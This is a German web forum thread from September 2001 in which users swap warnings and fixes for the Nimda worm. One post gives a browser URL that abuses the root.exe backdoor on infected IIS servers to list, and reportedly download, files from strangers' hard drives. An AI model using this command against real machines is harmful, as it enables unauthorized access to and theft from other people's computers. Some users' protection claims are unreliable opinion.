Seite 1 von 1

Nimda-Virus

Verfasst: 21.09.2001 03:52
von Techniker
Achtung Leute, nehmt Euch in Acht vor dem Nimda-Virus, der pflanzt sich gnadenlos fort, meine Firewall hat heute 300 Zugriffe von Nimda-infizierten Rechnern abgewehrt, jedem dieser infizierten kann ich direkt auf die Fesplatte schauen....

Hier gibts Hilfe: http://www.heise.de/newsticker/data/ju-18.09.01-000/

Verfasst: 21.09.2001 08:26
von oegeat
hi hatte schon bekanntschaft gemacht damit !!!

war aber kein Problem für mich mußte meinen Gost rauf spielen und ein Apdate mit dem machen für alle die McAffee haben ! erst dann ist man geschützt !!!!

Es gleich zu killen ging nicht bei mir ! leider

grüße oegeat

Verfasst: 21.09.2001 12:38
von dawes28
Habe gerade mal gescant und glücklicherweise Nimda nicht gefunden!
Mein firewall hat bislang keine Angriffe gemeldet. Nun weiß ich aber nicht, ob ZoneAlarm schützt??Ist ja nur Freeware!

Zudem bin ich beim Online-Brokerage auf Java-Applikationen angewiesen!

Wer diesen sch... Wurm wohl ins Netz geschleust hat. So ein Zufall, daß es gerade in dieser kritischen Zeit passiert ist :mad: :mad: !

Muß mich jetzt erst mal schlau machen!!

Verfasst: 21.09.2001 15:41
von willaktien
Ich hab auch Zone Alarm und das ist eine der besten Firewalls die es gibt! Deshalb glaub ich das der Nimda Virus auch kein prob ist!

@ euro wie guckst du denen den direkt auf die Festplatte?

Verfasst: 21.09.2001 16:24
von Techniker
Ein geblockter Request der als einfacher HTTP-Request (Port 80) markiert ist, ist zur Zeit zu 90% verursacht durch einen Nimda-infizierten Rechner. Auf die Festplatte schaut man dann mit diesem Befehl (eingeben in die Adressleiste des Browsers):

Code: Alles auswählen

[url]http://[/url]<<IP-Adresse>>/scripts/root.exe?/c+dir+c:\
Das c:\ lässt sich ersetzen durch jeden andern Pfad, so kann der ganze Rechner untersucht werden. Mit Sicherheit ist es auch möglich Dateien herunterzuladen.

Übrigens: Eine Firewall alleine schützt vor Nimda nicht, da es nicht nur ein Trojaner ist, sonder gleichzeitig auch Wurm und Virus. Seine Eigenschaft als Trojaner kommt NUR auf WinNT4/2000 zu tragen, alle anderen Eigenschaften auf jedem Windowsrechner.

Verfasst: 21.09.2001 16:30
von willaktien
Is ja krass! Also hab auch schon ein paar Angriffe :mad: !!!